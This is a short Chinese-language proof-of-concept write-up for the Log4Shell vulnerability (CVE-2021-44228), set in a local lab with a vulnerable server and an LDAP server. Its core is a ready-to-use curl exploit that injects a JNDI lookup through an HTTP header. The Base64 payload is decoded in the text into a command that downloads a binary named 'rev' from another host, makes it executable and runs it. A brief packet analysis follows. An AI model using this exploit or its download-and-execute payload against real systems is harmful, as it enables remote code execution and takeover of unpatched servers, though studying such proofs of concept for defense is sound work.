Log4Shell(CVE-2021-44228)的概念验证,演示通过JNDI注入实现远程代码执行,包括易受攻击的服务器搭建、漏洞利用命令及数据包分析。
Log4Shell(也称为 CVE-2021-44228)是一个严重漏洞,可在使用 Apache 基金会 Log4j 的系统中实现远程代码执行。Log4j 是一个开源 Java 库,广泛应用于商业和开源软件产品及工具中。

POC 分析
漏洞服务器运行在 8080 端口上

LDAP 服务器运行在两个端口上:http 8888 和 ldap 1389

利用命令
curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==}'
{
172.17.0.2:8080 -- 漏洞服务器 IP
172.17.0.1:1389 -- LDAP 服务器 IP
Base64 -- d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==
解密后的命令 - wget https://10.0.2.15:8000/rev -O /tmp/rev && chmod +x /tmp/rev && /tmp/rev
}
数据包分析


从数据包中可以看出,服务器向 LDAP 服务器发送了一个针对类的 GET 请求。如果检查利用类,可以看到 LDAP 服务器在利用类中发送了解密后的命令。

参考